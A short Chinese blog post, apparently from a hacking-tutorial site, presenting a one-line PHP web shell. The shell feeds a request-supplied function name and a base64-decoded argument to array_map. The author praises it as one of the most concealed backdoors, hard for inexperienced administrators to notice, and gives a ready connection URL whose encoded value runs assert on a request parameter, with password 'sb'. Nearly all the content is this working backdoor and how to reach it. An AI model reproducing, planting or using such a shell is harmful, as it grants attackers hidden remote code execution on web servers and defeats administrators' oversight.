<?php @array_map($_GET['cmd'],(array)base64_decode($_REQUEST['moon'])); ?>
这个一句话是某个学员发给我的,我看了一下 网上好像没有连接的办法 稍微研究了一下结果连接方法就出来了
这个一句话是我见过 最隐蔽之一,没经验的管理员是很难看出来的
http://localhost:8080/wamp.php?moon=YXNzZXJ0KCRfUkVRVUVTVFsnc2InXSk=&cmd=assert 密码sb
- 左青龙
- 微信扫一扫
- 右白虎
- 微信扫一扫
评论